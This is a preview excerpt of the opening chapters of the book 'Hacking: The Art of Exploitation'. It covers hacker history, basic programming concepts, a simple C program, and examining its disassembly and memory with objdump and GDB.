
PREFACE
The	goal	of	this	book	is	to	share	the	art	of	hacking	with	everyone.	Understanding
hacking	techniques	is	often	difficult,	since	it	requires	both	breadth	and	depth	of
knowledge.	Many	hacking	texts	seem	esoteric	and	confusing	because	of	just	a	few
gaps	in	this	prerequisite	education.	This	second	edition	of	Hacking:	The	Art	of
Exploitation	makes	the	world	of	hacking	more	accessible	by	providing	the	complete
picture—from	programming	to	machine	code	to	exploitation.	In	addition,	this
edition	features	a	bootable	LiveCD	based	on	Ubuntu	Linux	that	can	be	used	in	any
computer	with	an	x86	processor,	without	modifying	the	computer's	existing	OS.
This	CD	contains	all	the	source	code	in	the	book	and	provides	a	development	and
exploitation	environment	you	can	use	to	follow	along	with	the	book's	examples
and	experiment	along	the	way.
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Chapter	0x100.	INTRODUCTION
The	idea	of	hacking	may	conjure	stylized	images	of	electronic	vandalism,
espionage,	dyed	hair,	and	body	piercings.	Most	people	associate	hacking	with
breaking	the	law	and	assume	that	everyone	who	engages	in	hacking	activities	is	a
criminal.	Granted,	there	are	people	out	there	who	use	hacking	techniques	to
break	the	law,	but	hacking	isn't	really	about	that.	In	fact,	hacking	is	more	about
following	the	law	than	breaking	it.	The	essence	of	hacking	is	finding	unintended
or	overlooked	uses	for	the	laws	and	properties	of	a	given	situation	and	then
applying	them	in	new	and	inventive	ways	to	solve	a	problem—whatever	it	may	be.
The	following	math	problem	illustrates	the	essence	of	hacking:
Use	each	of	the	numbers	1,	3,	4,	and	6	exactly	once	with	any	of	the	four
basic	math	operations	(addition,	subtraction,	multiplication,	and	division)
to	total	24.	Each	number	must	be	used	once	and	only	once,	and	you	may
define	the	order	of	operations;	for	example,	3	*	(4	+	6)	+	1	=	31	is	valid,
however	incorrect,	since	it	doesn't	total	24.

The	rules	for	this	problem	are	well	defined	and	simple,	yet	the	answer	eludes
many.	Like	the	solution	to	this	problem	(shown	on	the	last	page	of	this	book),
hacked	solutions	follow	the	rules	of	the	system,	but	they	use	those	rules	in
counterintuitive	ways.	This	gives	hackers	their	edge,	allowing	them	to	solve
problems	in	ways	unimaginable	for	those	confined	to	conventional	thinking	and
methodologies.
Since	the	infancy	of	computers,	hackers	have	been	creatively	solving	problems.	In
the	late	1950s,	the	MIT	model	railroad	club	was	given	a	donation	of	parts,	mostly
old	telephone	equipment.	The	club's	members	used	this	equipment	to	rig	up	a
complex	system	that	allowed	multiple	operators	to	control	different	parts	of	the
track	by	dialing	in	to	the	appropriate	sections.	They	called	this	new	and	inventive
use	of	telephone	equipment	hacking	;	many	people	consider	this	group	to	be	the
original	hackers.	The	group	moved	on	to	programming	on	punch	cards	and	ticker
tape	for	early	computers	like	the	IBM	704	and	the	TX-0.	While	others	were
content	with	writing	programs	that	just	solved	problems,	the	early	hackers	were
obsessed	with	writing	programs	that	solved	problems	well.	A	new	program	that
could	achieve	the	same	result	as	an	existing	one	but	used	fewer	punch	cards	was
considered	better,	even	though	it	did	the	same	thing.	The	key	difference	was	how
the	program	achieved	its	results—elegance.
Being	able	to	reduce	the	number	of	punch	cards	needed	for	a	program	showed	an
artistic	mastery	over	the	computer.	A	nicely	crafted	table	can	hold	a	vase	just	as
well	as	a	milk	crate	can,	but	one	sure	looks	a	lot	better	than	the	other.	Early
hackers	proved	that	technical	problems	can	have	artistic	solutions,	and	they
thereby	transformed	programming	from	a	mere	engineering	task	into	an	art
form.
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Like	many	other	forms	of	art,	hacking	was	often	misunderstood.	The	few	who	got
it	formed	an	informal	subculture	that	remained	intensely	focused	on	learning	and
mastering	their	art.	They	believed	that	information	should	be	free	and	anything
that	stood	in	the	way	of	that	freedom	should	be	circumvented.	Such	obstructions
included	authority	figures,	the	bureaucracy	of	college	classes,	and	discrimination.
In	a	sea	of	graduation-driven	students,	this	unofficial	group	of	hackers	defied
conventional	goals	and	instead	pursued	knowledge	itself.	This	drive	to	continually
learn	and	explore	transcended	even	the	conventional	boundaries	drawn	by
discrimination,	evident	in	the	MIT	model	railroad	club's	acceptance	of	12-year-old
Peter	Deutsch	when	he	demonstrated	his	knowledge	of	the	TX-0	and	his	desire	to
learn.	Age,	race,	gender,	appearance,	academic	degrees,	and	social	status	were
not	primary	criteria	for	judging	another's	worth—not	because	of	a	desire	for
equality,	but	because	of	a	desire	to	advance	the	emerging	art	of	hacking.
The	original	hackers	found	splendor	and	elegance	in	the	conventionally	dry
sciences	of	math	and	electronics.	They	saw	programming	as	a	form	of	artistic
expression	and	the	computer	as	an	instrument	of	that	art.	Their	desire	to	dissect
and	understand	wasn't	intended	to	demystify	artistic	endeavors;	it	was	simply	a
way	to	achieve	a	greater	appreciation	of	them.	These	knowledge-driven	values
would	eventually	be	called	the	Hacker	Ethic:	the	appreciation	of	logic	as	an	art	form
and	the	promotion	of	the	free	flow	of	information,	surmounting	conventional
boundaries	and	restrictions	for	the	simple	goal	of	better	understanding	the	world.
This	is	not	a	new	cultural	trend;	the	Pythagoreans	in	ancient	Greece	had	a	similar
ethic	and	subculture,	despite	not	owning	computers.	They	saw	beauty	in
mathematics	and	discovered	many	core	concepts	in	geometry.	That	thirst	for
knowledge	and	its	beneficial	byproducts	would	continue	on	through	history,	from
the	Pythagoreans	to	Ada	Lovelace	to	Alan	Turing	to	the	hackers	of	the	MIT	model
railroad	club.	Modern	hackers	like	Richard	Stallman	and	Steve	Wozniak	have
continued	the	hacking	legacy,	bringing	us	modern	operating	systems,
programming	languages,	personal	computers,	and	many	other	technologies	that
we	use	every	day.
How	does	one	distinguish	between	the	good	hackers	who	bring	us	the	wonders	of
technological	advancement	and	the	evil	hackers	who	steal	our	credit	card
numbers?	The	term	cracker	was	coined	to	distinguish	evil	hackers	from	the	good
ones.	Journalists	were	told	that	crackers	were	supposed	to	be	the	bad	guys,	while
hackers	were	the	good	guys.	Hackers	stayed	true	to	the	Hacker	Ethic,	while
crackers	were	only	interested	in	breaking	the	law	and	making	a	quick	buck.
Crackers	were	considered	to	be	much	less	talented	than	the	elite	hackers,	as	they
simply	made	use	of	hacker-written	tools	and	scripts	without	understanding	how
they	worked.	Cracker	was	meant	to	be	the	catch-all	label	for	anyone	doing	anything
unscrupulous	with	a	computer—	pirating	software,	defacing	websites,	and	worst
of	all,	not	understanding	what	they	were	doing.	But	very	few	people	use	this	term
today.
The	term's	lack	of	popularity	might	be	due	to	its	confusing	etymology—	cracker
originally	described	those	who	crack	software	copyrights	and	reverse	engineer
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provides	computer	users	with	better	and	stronger	security,	as	well	as	more
complex	and	sophisticated	attack	techniques.	The	introduction	and	progression	of
intrusion	detection	systems	(IDSs)	is	a	prime	example	of	this	co-evolutionary
process.	The	defending	hackers	create	IDSs	to	add	to	their	arsenal,	while	the
attacking	hackers	develop	IDS-evasion	techniques,	which	are	eventually
compensated	for	in	bigger	and	better	IDS	products.	The	net	result	of	this
interaction	is	positive,	as	it	produces	smarter	people,	improved	security,	more
stable	software,	inventive	problem-solving	techniques,	and	even	a	new	economy.
The	intent	of	this	book	is	to	teach	you	about	the	true	spirit	of	hacking.	We	will	look
at	various	hacker	techniques,	from	the	past	to	the	present,	dissecting	them	to
learn	how	and	why	they	work.	Included	with	this	book	is	a	bootable	LiveCD
containing	all	the	source	code	used	herein	as	well	as	a	preconfigured	Linux
environment.	Exploration	and	innovation	are	critical	to	the	art	of	hacking,	so	this
CD	will	let	you	follow	along	and	experiment	on	your	own.	The	only	requirement	is
an	x86	processor,	which	is	used	by	all	Microsoft	Windows	machines	and	the	newer
Macintosh	computers—just	insert	the	CD	and	reboot.	This	alternate	Linux
environment	will	not	disturb	your	existing	OS,	so	when	you're	done,	just	reboot
again	and	remove	the	CD.	This	way,	you	will	gain	a	hands-on	understanding	and
appreciation	for	hacking	that	may	inspire	you	to	improve	upon	existing	techniques
or	even	to	invent	new	ones.	Hopefully,	this	book	will	stimulate	the	curious	hacker
nature	in	you	and	prompt	you	to	contribute	to	the	art	of	hacking	in	some	way,
regardless	of	which	side	of	the	fence	you	choose	to	be	on.
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Programming	is	a	very	natural	and	intuitive	concept.	A	program	is	nothing	more
than	a	series	of	statements	written	in	a	specific	language.	Programs	are
everywhere,	and	even	the	technophobes	of	the	world	use	programs	every	day.
Driving	directions,	cooking	recipes,	football	plays,	and	DNA	are	all	types	of
programs.	A	typical	program	for	driving	directions	might	look	something	like	this:

Start	out	down	Main	Street	headed	east.	Continue	on	Main	Street	until	you	see
a	church	on	your	right.	If	the	street	is	blocked	because	of	construction,	turn
right	there	at	15th	Street,	turn	left	on	Pine	Street,	and	then	turn	right	on
16th	Street.	Otherwise,	you	can	just	continue	and	make	a	right	on	16th	Street.
Continue	on	16th	Street,	and	turn	left	onto	Destination	Road.	Drive	straight
down	Destination	Road	for	5	miles,	and	then	you'll	see	the	house	on	the	right.
The	address	is	743	Destination	Road.

Anyone	who	knows	English	can	understand	and	follow	these	driving	directions,
since	they're	written	in	English.	Granted,	they're	not	eloquent,	but	each
instruction	is	clear	and	easy	to	understand,	at	least	for	someone	who	reads
English.
But	a	computer	doesn't	natively	understand	English;	it	only	understands	machine
language.	To	instruct	a	computer	to	do	something,	the	instructions	must	be
written	in	its	language.	However,	machine	language	is	arcane	and	difficult	to	work
with—it	consists	of	raw	bits	and	bytes,	and	it	differs	from	architecture	to
architecture.	To	write	a	program	in	machine	language	for	an	Intel	x86	processor,
you	would	have	to	figure	out	the	value	associated	with	each	instruction,	how	each
instruction	interacts,	and	myriad	low-level	details.	Programming	like	this	is
painstaking	and	cumbersome,	and	it	is	certainly	not	intuitive.
What's	needed	to	overcome	the	complication	of	writing	machine	language	is	a
translator.	An	assembler	is	one	form	of	machine-language	translator—it	is	a
program	that	translates	assembly	language	into	machine-readable	code.	Assembly
language	is	less	cryptic	than	machine	language,	since	it	uses	names	for	the	different
instructions	and	variables,	instead	of	just	using	numbers.	However,	assembly
language	is	still	far	from	intuitive.	The	instruction	names	are	very	esoteric,	and
the	language	is	architecture	specific.	Just	as	machine	language	for	Intel	x86
processors	is	different	from	machine	language	for	Sparc	processors,	x86	assembly
language	is	different	from	Sparc	assembly	language.	Any	program	written	using
assembly	language	for	one	processor's	architecture	will	not	work	on	another
processor's	architecture.	If	a	program	is	written	in	x86	assembly	language,	it
must	be	rewritten	to	run	on	Sparc	architecture.	In	addition,	in	order	to	write	an
effective	program	in	assembly	language,	you	must	still	know	many	low-level
details	of	the	processor	architecture	you	are	writing	for.
These	problems	can	be	mitigated	by	yet	another	form	of	translator	called	a
compiler.	A	compiler	converts	a	high-level	language	into	machine	language.	High-
level	languages	are	much	more	intuitive	than	assembly	language	and	can	be
converted	into	many	different	types	of	machine	language	for	different	processor
architectures.	This	means	that	if	a	program	is	written	in	a	high	level	language,	the
program	only	needs	to	be	written	once;	the	same	piece	of	program	code	can	be
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Pseudo-code
Programmers	have	yet	another	form	of	programming	language	called	pseudo-
code.	Pseudo-code	is	simply	English	arranged	with	a	general	structure	similar	to	a
high-level	language.	It	isn't	understood	by	compilers,	assemblers,	or	any
computers,	but	it	is	a	useful	way	for	a	programmer	to	arrange	instructions.
Pseudo-code	isn't	well	defined;	in	fact,	most	people	write	pseudo-code	slightly
differently.	It's	sort	of	the	nebulous	missing	link	between	English	and	high-level
programming	languages	like	C.	Pseudo-code	makes	for	an	excellent	introduction
to	common	universal	programming	concepts.
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Control	Structures
Without	control	structures,	a	program	would	just	be	a	series	of	instructions
executed	in	sequential	order.	This	is	fine	for	very	simple	programs,	but	most
programs,	like	the	driving	directions	example,	aren't	that	simple.	The	driving
directions	included	statements	like,	Continue	on	Main	Street	until	you	see	a	church	on	your
right	and	If	the	street	is	blocked	because	of	construction….	These	statements	are	known	as
control	structures,	and	they	change	the	flow	of	the	program's	execution	from	a	simple
sequential	order	to	a	more	complex	and	more	useful	flow.

If-Then-Else

In	the	case	of	our	driving	directions,	Main	Street	could	be	under	construction.	If	it
is,	a	special	set	of	instructions	needs	to	address	that	situation.	Otherwise,	the
original	set	of	instructions	should	be	followed.	These	types	of	special	cases	can	be
accounted	for	in	a	program	with	one	of	the	most	natural	controlstructures:	the	if-
then-else	structure.	In	general,	it	looks	something	like	this:

If	(condition)	then
{

		Set	of	instructions	to	execute	if	the	condition	is	met;

}
Else
{
		Set	of	instruction	to	execute	if	the	condition	is	not	met;
}

For	this	book,	a	C-like	pseudo-code	will	be	used,	so	every	instruction	will	end	with
a	semicolon,	and	the	sets	of	instructions	will	be	grouped	with	curly	braces	and
indentation.	The	if-then-else	pseudo-code	structure	of	the	preceding	driving
directions	might	look	something	like	this:

Drive	down	Main	Street;
If	(street	is	blocked)
{
		Turn	right	on	15th	Street;
		Turn	left	on	Pine	Street;
		Turn	right	on	16th	Street;
}
Else
{
		Turn	right	on	16th	Street;
}

Each	instruction	is	on	its	own	line,	and	the	various	sets	of	conditional	instructions
are	grouped	between	curly	braces	and	indented	for	readability.	In	C	and	many
other	programming	languages,	the	then	keyword	is	implied	and	therefore	left	out,
so	it	has	also	been	omitted	in	the	preceding	pseudo-code.
Of	course,	other	languages	require	the	then	keyword	in	their	syntax—	BASIC,
Fortran,	and	even	Pascal,	for	example.	These	types	of	syntactical	differences	in
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Functions	aren't	commonly	used	in	pseudo-code,	since	pseudo-code	is	mostly	used
as	a	way	for	programmers	to	sketch	out	program	concepts	before	writing
compilable	code.	Since	pseudo-code	doesn't	actually	have	to	work,	full	functions
don't	need	to	be	written	out—simply	jotting	down	Do	some	complex	stuff	here	will
suffice.	But	in	a	programming	language	like	C,	functions	are	used	heavily.	Most	of
the	real	usefulness	of	C	comes	from	collections	of	existing	functions	called	libraries.
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Getting	Your	Hands	Dirty
Now	that	the	syntax	of	C	feels	more	familiar	and	some	fundamental	programming
concepts	have	been	explained,	actually	programming	in	C	isn't	that	big	of	a	step.
C	compilers	exist	for	just	about	every	operating	system	and	processor
architecture	out	there,	but	for	this	book,	Linux	and	an	x86-based	processor	will	be
used	exclusively.	Linux	is	a	free	operating	system	that	everyone	has	access	to,	and
x86-based	processors	are	the	most	popular	consumer-grade	processor	on	the
planet.	Since	hacking	is	really	about	experimenting,	it's	probably	best	if	you	have
a	C	compiler	to	follow	along	with.
Included	with	this	book	is	a	Live	CD	you	can	use	to	follow	along	if	your	computer
has	an	x86	processor.	Just	put	the	CD	in	the	drive	and	reboot	your	computer.	It
will	boot	into	a	Linux	environment	without	modifying	your	existing	operating
system.	From	this	Linux	environment	you	can	follow	along	with	the	book	and
experiment	on	your	own.
Let's	get	right	to	it.	The	firstprog.c	program	is	a	simple	piece	of	C	code	that	will
print	"Hello,	world!"	10	times.

Getting	Your	Hands	Dirty

firstprog.c

#include	<stdio.h>

int	main()
{
		int	i;
		for(i=0;	i	<	10;	i++)							//	Loop	10	times.
		{
				puts("Hello,	world!\n");		//	put	the	string	to	the	output.
		}
		return	0;																			//	Tell	OS	the	program	exited	without	errors.
}

The	main	execution	of	a	C	program	begins	in	the	aptly	named	main()function.	Any
text	following	two	forward	slashes	(//)	is	a	comment,	which	is	ignored	by	the
compiler.
The	first	line	may	be	confusing,	but	it's	just	C	syntax	that	tells	the	compiler	to
include	headers	for	a	standard	input/output	(I/O)	library	named	stdio.	This
header	file	is	added	to	the	program	when	it	is	compiled.	It	is	located	at
/usr/include/stdio.h,	and	it	defines	several	constants	and	function	prototypes	for
corresponding	functions	in	the	standard	I/O	library.	Since	the	main()	function
uses	the	printf()	function	from	the	standard	I/O	library,	a	function	prototype	is
needed	for	printf()	before	it	can	be	used.	This	function	prototype	(along	with
many	others)	is	included	in	the	stdio.h	header	file.	A	lot	of	the	power	of	C	comes
from	its	extensibility	and	libraries.	The	rest	of	the	code	should	make	sense	and

Preview from Notesale.co.uk

Page 27 of 455



while	newer	ones	use	a	64-bit	one.	The	32-bit	processors	have	232	(or
4,294,967,296)	possible	addresses,	while	the	64-bit	ones	have	264	(1.84467441	x
1019)	possible	addresses.	The	64-bit	processors	can	run	in	32-bit	compatibility
mode,	which	allows	them	to	run	32-bit	code	quickly.
The	hexadecimal	bytes	in	the	middle	of	the	listing	above	are	the	machine
language	instructions	for	the	x86	processor.	Of	course,	these	hexadecimal	values
are	only	representations	of	the	bytes	of	binary	1s	and	0s	the	CPU	can	understand.
But	since	0101010110001001111001011000001111101100111100001	…	isn't	very	useful	to
anything	other	than	the	processor,	the	machine	code	is	displayed	as	hexadecimal
bytes	and	each	instruction	is	put	on	its	own	line,	like	splitting	a	paragraph	into
sentences.
Come	to	think	of	it,	the	hexadecimal	bytes	really	aren't	very	useful	themselves,
either—that's	where	assembly	language	comes	in.	The	instructions	on	the	far
right	are	in	assembly	language.	Assembly	language	is	really	just	a	collection	of
mnemonics	for	the	corresponding	machine	language	instructions.	The	instruction
ret	is	far	easier	to	remember	and	make	sense	of	than	0xc3	or	11000011.	Unlike	C
and	other	compiled	languages,	assembly	language	instructions	have	a	direct	one-
to-one	relationship	with	their	corresponding	machine	language	instructions.	This
means	that	since	every	processor	architecture	has	different	machine	language
instructions,	each	also	has	a	different	form	of	assembly	language.	Assembly	is	just
a	way	for	programmers	to	represent	the	machine	language	instructions	that	are
given	to	the	processor.	Exactly	how	these	machine	language	instructions	are
represented	is	simply	a	matter	of	convention	and	preference.	While	you	can
theoretically	create	your	own	x86	assembly	language	syntax,	most	people	stick
with	one	of	the	two	main	types:	AT&T	syntax	and	Intel	syntax.	The	assembly
shown	in	the	output	on	The	Bigger	Picture	is	AT&T	syntax,	as	just	about	all	of
Linux's	disassembly	tools	use	this	syntax	by	default.	It's	easy	to	recognize	AT&T
syntax	by	the	cacophony	of	%	and	$	symbols	prefixing	everything	(take	a	look
again	at	the	example	on	The	Bigger	Picture).	The	same	code	can	be	shown	in	Intel
syntax	by	providing	an	additional	command-line	option,	-M	intel,	to	objdump,	as
shown	in	the	output	below.

reader@hacking:~/booksrc	$	objdump	-M	intel	-D	a.out	|	grep	-A20	main.:
08048374	<main>:
	8048374:							55																						push			ebp
	8048375:							89	e5																			mov				ebp,esp
	8048377:							83	ec	08																sub				esp,0x8
	804837a:							83	e4	f0																and				esp,0xfffffff0
	804837d:							b8	00	00	00	00										mov				eax,0x0
	8048382:							29	c4																			sub				esp,eax
	8048384:							c7	45	fc	00	00	00	00				mov				DWORD	PTR	[ebp-4],0x0
	804838b:							83	7d	fc	09													cmp				DWORD	PTR	[ebp-4],0x9
	804838f:							7e	02																			jle				8048393	<main+0x1f>
	8048391:							eb	13																			jmp				80483a6	<main+0x32>
	8048393:							c7	04	24	84	84	04	08				mov				DWORD	PTR	[esp],0x8048484
	804839a:							e8	01	ff	ff	ff										call			80482a0	<printf@plt>
	804839f:							8d	45	fc																lea				eax,[ebp-4]
	80483a2:							ff	00																			inc				DWORD	PTR	[eax]
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	80483a4:							eb	e5																			jmp				804838b	<main+0x17>
	80483a6:							c9																						leave
	80483a7:							c3																						ret
	80483a8:							90																						nop
	80483a9:							90																						nop
	80483aa:							90																						nop
reader@hacking:~/booksrc	$

Personally,	I	think	Intel	syntax	is	much	more	readable	and	easier	to	understand,
so	for	the	purposes	of	this	book,	I	will	try	to	stick	with	this	syntax.	Regardless	of
the	assembly	language	representation,	the	commands	a	processor	understands
are	quite	simple.	These	instructions	consist	of	an	operation	and	sometimes
additional	arguments	that	describe	the	destination	and/or	the	source	for	the
operation.	These	operations	move	memory	around,	perform	some	sort	of	basic
math,	or	interrupt	the	processor	to	get	it	to	do	something	else.	In	the	end,	that's
all	a	computer	processor	can	really	do.	But	in	the	same	way	millions	of	books	have
been	written	using	a	relatively	small	alphabet	of	letters,	an	infinite	number	of
possible	programs	can	be	created	using	a	relatively	small	collection	of	machine
instructions.
Processors	also	have	their	own	set	of	special	variables	called	registers.	Most	of	the
instructions	use	these	registers	to	read	or	write	data,	so	understanding	the
registers	of	a	processor	is	essential	to	understanding	the	instructions.	The	bigger
picture	keeps	getting	bigger….

The	x86	Processor

The	8086	CPU	was	the	first	x86	processor.	It	was	developed	and	manufactured	by
Intel,	which	later	developed	more	advanced	processors	in	the	same	family:	the
80186,	80286,	80386,	and	80486.	If	you	remember	people	talking	about	386	and
486	processors	in	the	'80s	and	'90s,	this	is	what	they	were	referring	to.
The	x86	processor	has	several	registers,	which	are	like	internal	variables	for	the
processor.	I	could	just	talk	abstractly	about	these	registers	now,	but	I	think	it's
always	better	to	see	things	for	yourself.	The	GNU	development	tools	also	include	a
debugger	called	GDB.	Debuggers	are	used	by	programmers	to	step	through
compiled	programs,	examine	program	memory,	and	view	processor	registers.	A
programmer	who	has	never	used	a	debugger	to	look	at	the	inner	workings	of	a
program	is	like	a	seventeenth-century	doctor	who	has	never	used	a	microscope.
Similar	to	a	microscope,	a	debugger	allows	a	hacker	to	observe	the	microscopic
world	of	machine	code—but	a	debugger	is	far	more	powerful	than	this	metaphor
allows.	Unlike	a	microscope,	a	debugger	can	view	the	execution	from	all	angles,
pause	it,	and	change	anything	along	the	way.
Below,	GDB	is	used	to	show	the	state	of	the	processor	registers	right	before	the
program	starts.

reader@hacking:~/booksrc	$	gdb	-q	./a.out
Using	host	libthread_db	library	"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb)	break	main
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equivalent	to	the	value	EIP	contains	at	that	moment.	The	value	077042707	in	octal
is	the	same	as	0x00fc45c7	in	hexadecimal,	which	is	the	same	as	16532935	in	base-
10	decimal,	which	in	turn	is	the	same	as	00000000111111000100010111000111	in
binary.	A	number	can	also	be	prepended	to	the	format	of	the	examine	command
to	examine	multiple	units	at	the	target	address.

(gdb)	x/2x	$eip
0x8048384	<main+16>:				0x00fc45c7					0x83000000
(gdb)	x/12x	$eip
0x8048384	<main+16>:				0x00fc45c7					0x83000000					0x7e09fc7d					0xc713eb02
0x8048394	<main+32>:				0x84842404					0x01e80804					0x8dffffff					0x00fffc45
0x80483a4	<main+48>:				0xc3c9e5eb					0x90909090					0x90909090					0x5de58955
(gdb)

The	default	size	of	a	single	unit	is	a	four-byte	unit	called	a	word.	The	size	of	the
display	units	for	the	examine	command	can	be	changed	by	adding	a	size	letter	to
the	end	of	the	format	letter.	The	valid	size	letters	are	as	follows:

b	A	single	byte
h	A	halfword,	which	is	two	bytes	in	size
w	A	word,	which	is	four	bytes	in	size
g	A	giant,	which	is	eight	bytes	in	size

This	is	slightly	confusing,	because	sometimes	the	term	word	also	refers	to	2-byte
values.	In	this	case	a	double	word	or	DWORD	refers	to	a	4-byte	value.	In	this	book,
words	and	DWORDs	both	refer	to	4-byte	values.	If	I'm	talking	about	a	2-byte
value,	I'll	call	it	a	short	or	a	halfword.	The	following	GDB	output	shows	memory
displayed	in	various	sizes.

(gdb)	x/8xb	$eip
0x8048384	<main+16>:				0xc7				0x45				0xfc				0x00				0x00				0x00				0x00				0x83
(gdb)	x/8xh	$eip
0x8048384	<main+16>:				0x45c7		0x00fc		0x0000		0x8300		0xfc7d		0x7e09		0xeb02		0xc713
(gdb)	x/8xw	$eip
0x8048384	<main+16>:				0x00fc45c7						0x83000000						0x7e09fc7d						0xc713eb02
0x8048394	<main+32>:				0x84842404						0x01e80804						0x8dffffff						0x00fffc45	
(gdb)

If	you	look	closely,	you	may	notice	something	odd	about	the	data	above.	The	first
examine	command	shows	the	first	eight	bytes,	and	naturally,	the	examine
commands	that	use	bigger	units	display	more	data	in	total.	However,	the	first
examine	shows	the	first	two	bytes	to	be	0xc7	and	0x45,	but	when	a	halfword	is
examined	at	the	exact	same	memory	address,	the	value	0x45c7	is	shown,	with	the
bytes	reversed.	This	same	byte-reversal	effect	can	be	seen	when	a	full	four-byte
word	is	shown	as	0x00fc45c7,	but	when	the	first	four	bytes	are	shown	byte	by
byte,	they	are	in	the	order	of	0xc7,	0x45,	0xfc,	and	0x00.
This	is	because	on	the	x86	processor	values	are	stored	in	little-endian	byte	order,
which	means	the	least	significant	byte	is	stored	first.	For	example,	if	four	bytes
are	to	be	interpreted	as	a	single	value,	the	bytes	must	be	used	in	reverse	order.
The	GDB	debugger	is	smart	enough	to	know	how	values	are	stored,	so	when	a
word	or	halfword	is	examined,	the	bytes	must	be	reversed	to	display	the	correct

Preview from Notesale.co.uk

Page 36 of 455



values	in	hexadecimal.	Revisiting	these	values	displayed	both	as	hexadecimal	and
unsigned	decimals	might	help	clear	up	any	confusion.

(gdb)	x/4xb	$eip
0x8048384	<main+16>:				0xc7				0x45				0xfc				0x00
(gdb)	x/4ub	$eip
0x8048384	<main+16>:				199					69						252					0
(gdb)	x/1xw	$eip
0x8048384	<main+16>:				0x00fc45c7
(gdb)	x/1uw	$eip
0x8048384	<main+16>:				16532935
(gdb)	quit
The	program	is	running.		Exit	anyway?	(y	or	n)	y
reader@hacking:~/booksrc	$	bc	-ql
199*(256^3)	+	69*(256^2)	+	252*(256^1)	+	0*(256^0)
3343252480
0*(256^3)	+	252*(256^2)	+	69*(256^1)	+	199*(256^0)
16532935
quit
reader@hacking:~/booksrc	$

The	first	four	bytes	are	shown	both	in	hexadecimal	and	standard	unsigned
decimal	notation.	A	command-line	calculator	program	called	bc	is	used	to	show
that	if	the	bytes	are	interpreted	in	the	incorrect	order,	a	horribly	incorrect	value
of	3343252480	is	the	result.	The	byte	order	of	a	given	architecture	is	an	important
detail	to	be	aware	of.	While	most	debugging	tools	and	compilers	will	take	care	of
the	details	of	byte	order	automatically,	eventually	you	will	directly	manipulate
memory	by	yourself.
In	addition	to	converting	byte	order,	GDB	can	do	other	conversions	with	the
examine	command.	We've	already	seen	that	GDB	can	disassemble	machine
language	instructions	into	human-readable	assembly	instructions.	The	examine
command	also	accepts	the	format	letter	i,	short	for	instruction,	to	display	the
memory	as	disassembled	assembly	language	instructions.

reader@hacking:~/booksrc	$	gdb	-q	./a.out
Using	host	libthread_db	library	"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb)	break	main
Breakpoint	1	at	0x8048384:	file	firstprog.c,	line	6.
(gdb)	run
Starting	program:	/home/reader/booksrc/a.out

Breakpoint	1,	main	()	at	firstprog.c:6
6									for(i=0;	i	<	10;	i++)
(gdb)	i	r	$eip
eip												0x8048384								0x8048384	<main+16>
(gdb)	x/i	$eip
0x8048384	<main+16>:				mov				DWORD	PTR	[ebp-4],0x0
(gdb)	x/3i	$eip
0x8048384	<main+16>:				mov				DWORD	PTR	[ebp-4],0x0
0x804838b	<main+23>:				cmp				DWORD	PTR	[ebp-4],0x9
0x804838f	<main+27>:				jle				0x8048393	<main+31>
(gdb)	x/7xb	$eip
0x8048384	<main+16>:				0xc7				0x45				0xfc				0x00				0x00				0x00				0x00
(gdb)	x/i	$eip
0x8048384	<main+16>:				mov				DWORD	PTR	[ebp-4],0x0
(gdb)
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	 027			23				17				ETB												127			87				57				W
	 030			24				18				CAN												130			88				58				X
	 031			25				19				EM													131			89				59				Y
	 032			26				1A				SUB												132			90				5A				Z
	 033			27				1B				ESC												133			91				5B				[
	 034			28				1C				FS													134			92				5C				\			'\\'
	 035			29				1D				GS													135			93				5D				]
	 036			30				1E				RS													136			94				5E				^
	 037			31				1F				US													137			95				5F				_
	 040			32				20				SPACE										140			96				60				`
	 041			33				21				!														141			97				61				a
	 042			34				22				"														142			98				62				b
	 043			35				23				#														143			99				63				c
	 044			36				24				$														144			100			64				d
	 045			37				25				%														145			101			65				e
	 046			38				26				&														146			102			66				f
	 047			39				27				'														147			103			67				g
	 050			40				28				(														150			104			68				h
	 051			41				29				)														151			105			69				i
	 052			42				2A				*														152			106			6A				j
	 053			43				2B				+														153			107			6B				k
	 054			44				2C				,														154		108			6C					l
	 055			45				2D				-														155			109			6D				m
	 056			46				2E				.														156			110			6E				n
	 057			47				2F				/														157		111			6F				o
	 060			48				30				0														160			112			70				p
	 061			49				31				1														161			113			71				q
	 062			50				32				2														162			114			72				r
	 063			51				33				3														163			115			73				s
	 064			52				34				4														164			116			74				t
	 065			53				35				5														165			117			75				u
	 066			54				36				6														166			118			76				v
	 067			55				37				7														167			119			77				w
	 070			56				38				8														170			120			78				x
	 071			57				39				9														171			121			79				y
	 072			58				3A				:														172			122			7A				z
	 073			59				3B				;														173			123			7B				{
	 074			60				3C				<														174			124			7C				|
	 075			61				3D				=														175			125			7D				}
	 076			62				3E				>														176			126			7E				~
	 077			63				3F				?														177			127			7F				DEL

Thankfully,	GDB's	examine	command	also	contains	provisions	for	looking	at	this
type	of	memory.	The	c	format	letter	can	be	used	to	automatically	look	up	a	byte	on
the	ASCII	table,	and	the	s	format	letter	will	display	an	entire	string	of	character
data.

(gdb)	x/6cb	0x8048484
0x8048484:						72	'H'		101	'e'	108	'l'	108	'l'	111	'o'	32	'	'
(gdb)	x/s	0x8048484
0x8048484:							"Hello,	world!\n"
(gdb)

These	commands	reveal	that	the	data	string	"Hello,	world!\n"	is	stored	at
memory	address	0x8048484.	This	string	is	the	argument	for	the	printf()
function,	which	indicates	that	moving	the	address	of	this	string	to	the	address
tored	in	ESP	(0x8048484)	has	something	to	do	with	this	function.	The	following
output	shows	the	data	string's	address	being	moved	into	the	address	ESP	is
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9							}
(gdb)	break	6

Breakpoint	1	at	0x80483c4:	file	char_array2.c,	line	6.
(gdb)	break	strcpy
Function	"strcpy"	not	defined.
Make	breakpoint	pending	on	future	shared	library	load?	(y	or	[n])	y
Breakpoint	2	(strcpy)	pending.
(gdb)	break	8
Breakpoint	3	at	0x80483d7:	file	char_array2.c,	line	8.	
(gdb)

When	the	program	is	run,	the	strcpy()	breakpoint	is	resolved.	At	each
breakpoint,	we're	going	to	look	at	EIP	and	the	instructions	it	points	to.	Notice	that
the	memory	location	for	EIP	at	the	middle	breakpoint	is	different.

(gdb)	run
Starting	program:	/home/reader/booksrc/char_array2	
Breakpoint	4	at	0xb7f076f4
Pending	breakpoint	"strcpy"	resolved

Breakpoint	1,	main	()	at	char_array2.c:7
7										strcpy(str_a,	"Hello,	world!\n");
(gdb)	i	r	eip
eip												0x80483c4								0x80483c4	<main+16>
